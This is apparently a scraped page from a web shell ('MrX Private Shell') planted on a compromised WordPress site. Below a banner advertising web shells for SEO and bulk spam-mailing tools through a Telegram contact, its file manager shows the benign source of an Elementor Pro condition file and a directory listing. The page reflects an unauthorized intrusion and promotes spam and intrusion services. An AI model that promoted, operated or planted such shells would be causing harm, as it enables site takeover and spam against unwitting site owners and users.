__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace ElementorPro\Modules\ThemeBuilder\Conditions;

use ElementorPro\Modules\QueryControl\Module as QueryModule;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Post extends Condition_Base {

	private $post_type;
	private $post_taxonomies;

	public static function get_type() {
		return 'singular';
	}

	public static function get_priority() {
		return 40;
	}

	public function __construct( $data ) {
		$this->post_type = get_post_type_object( $data['post_type'] );
		$taxonomies = get_object_taxonomies( $data['post_type'], 'objects' );
		$this->post_taxonomies = wp_filter_object_list( $taxonomies, [
			'public' => true,
			'show_in_nav_menus' => true,
		] );

		parent::__construct();
	}

	public function get_name() {
		return $this->post_type->name;
	}

	public function get_label() {
		return $this->post_type->labels->singular_name;
	}

	public function get_all_label() {
		return $this->post_type->label;
	}

	public function check( $args ) {
		if ( isset( $args['id'] ) ) {
			$id = (int) $args['id'];
			if ( $id ) {
				return is_singular() && get_queried_object_id() === $id;
			}
		}

		return is_singular( $this->post_type->name );
	}

	public function register_sub_conditions() {
		foreach ( $this->post_taxonomies as $slug => $object ) {
			$in_taxonomy = new In_Taxonomy( [
				'object' => $object,
			] );
			$this->register_sub_condition( $in_taxonomy );

			if ( $object->hierarchical ) {
				$in_sub_term = new In_Sub_Term( [
					'object' => $object,
				] );
				$this->register_sub_condition( $in_sub_term );
			}
		}

		$by_author = new Post_Type_By_Author( $this->post_type );
		$this->register_sub_condition( $by_author );

	}

	protected function register_controls() {
		$this->add_control(
			'post_id',
			[
				'section' => 'settings',
				'type' => QueryModule::QUERY_CONTROL_ID,
				'select2options' => [
					'dropdownCssClass' => 'elementor-conditions-select2-dropdown',
				],
				'autocomplete' => [
					'object' => QueryModule::QUERY_OBJECT_POST,
					'query' => [
						'post_type' => $this->get_name(),
					],
				],
			]
		);
	}
}

Filemanager

Name Type Size Permission Actions
any-child-of-term.php File 1023 B 0664
any-child-of.php File 568 B 0664
archive.php File 1.25 KB 0664
author.php File 937 B 0664
by-author.php File 979 B 0664
child-of-term.php File 939 B 0664
child-of.php File 1.26 KB 0664
condition-base.php File 1.53 KB 0664
date.php File 491 B 0664
front-page.php File 508 B 0664
general.php File 586 B 0664
in-sub-term.php File 878 B 0664
in-taxonomy.php File 1.34 KB 0664
not-found404.php File 503 B 0664
post-type-archive.php File 1.77 KB 0664
post-type-by-author.php File 1.22 KB 0664
post.php File 2.07 KB 0664
search.php File 499 B 0664
singular.php File 1.24 KB 0664
taxonomy.php File 1.28 KB 0664
Filemanager